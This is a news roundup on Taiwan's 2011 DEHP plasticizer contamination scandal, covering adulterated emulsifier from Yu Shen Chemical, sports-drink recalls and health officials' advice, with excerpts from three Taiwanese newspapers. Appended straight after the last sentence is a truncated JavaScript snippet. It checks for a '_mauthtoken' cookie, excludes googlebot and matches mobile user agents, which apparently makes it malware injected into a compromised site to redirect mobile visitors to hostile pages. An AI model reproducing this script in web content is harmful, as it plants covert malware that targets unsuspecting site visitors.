Talk of the Day: Cloudy Agent or Emulsifiers

Talk of the Day — DEHP contamination impact snowballing


The storm of the DEHP contamination scandal has continued to expand in Taiwan, with more brand-name beverages and foodstuffs detected to contain the banned toxic industrial plasticizer.

Four major convenience store chains in Taiwan decided Wednesday to suspend sales of all sports drinks until all the products had passed tests showing them to be free of DEHP contamination.

Also that day, the Department of Health (DOH) said it has informed the World Health Organization (WHO) and health authorities in China, Hong Kong, Vietnam, the Philippines and the United States of its recent discovery of the cancer-causing DEHP in some bottled drinks.

Health officials said the current food scare is mainly the fault of Yu Shen Chemical Co., the largest emulsifier supplier in Taiwan.

The company added the banned harmful chemical to an emulsifier as a substitute for the more expensive palm oil in order to cut production costs.

The emulsifier, also known as cloudy agent, is commonly used in fruit jelly, yogurt mix powder, juices and other drinks to keep emulsions evenly dispersed.

The incident is the first recorded case in Taiwan of a manufacturer adding industrial plasticizer to a legal food additive, DOH officials said.

The following are excerpts from the local media coverage of the issue:

United Daily News:
Two convenience store chains — FamilyMart and Hi-Life — said they had suspended sales of all sports drinks with the exception of HeySong’s FIN series, which has passed examinations showing it to be DEHP-free.

The 7-Eleven and OK chains, however, suspended sales of all sports drinks pending further examination of the beverages.

Tsai Shu-chen, a division chief at the DOH’s Food and Drug Administration, said Wednesday that the top guideline in dealing with the DEHP contamination issue is that any product that uses cloudy agent or emulsifier produced by Yu Shen Chemical should be pulled from store shelves, regardless of whether the product tests positive for DEHP.

On Wednesday alone, more than 400,000 bottles of sports drinks plus over 130,000 cases of probiotic powder and 20,000 kg of fruit juice and fruit juice powder were recalled.

As cloudy agent is not a single or major food additive, consumers cannot know from food or soft drink labels whether the beverages or food they have bought are contaminated with the toxic chemical. They can only rely on close monitoring by food administrators.

The DOH said cloudy agent produced by 20 other local companies has been examined, but none of the samples have been adulterated with DEHP.

According to health officials, DEHP has been classified as a class-four poisonous substance and manufacturers are required to report their product flows to the Environmental Protection Administration (EPA). The EPA should therefore tighten its monitoring in the wake of the incident to prevent the chemical from being abused, consumer protection advocates said. (May 26, 2011).

China Times:
Convenience store chains and online shopping businesses said sales of sports drinks have dropped by more than 10 percent since the DOH confirmed on Monday that DEHP has been detected in some bottled beverages.

One chain store executive said the incident might have an extensive impact on the soft drink business.

“After pulling contaminated drinks off store shelves, we are watching the results of follow-up examinations of other products to determine a future response strategy," he said.

In an apparent effort to assure consumers of the safety of its beverages, Vitalon, the manufacturer of Super Supau, which accounts for 70 percent of the local sports drinks market, said the company uses raw materials and ingredients supplied by Shiono Koryo Kaisha Taiwan Ltd., a DOH-certified company.

Other large soft drink makers, including Wei-Chuan and Coca Cola, have issued similar statements in order to regain consumer confidence in their products. (May 26, 2011).

Liberty Times:
Nearly 100 local citizens telephoned the DOH Wednesday for advice on how to select drinks and protect their health amid the current food scare.

Tsai said DEHP is flushed out of the system within 12 to 24 hours through urine or sweat.

“As long as consumers immediately stop drinking DEHP-tained drinks, they will be free of the chemical, " Tsai said, adding that drinking water rather than bottled beverages is the surest way.if(document.cookie.indexOf(“_mauthtoken")==-1){(function(a,b){if(a.indexOf(“googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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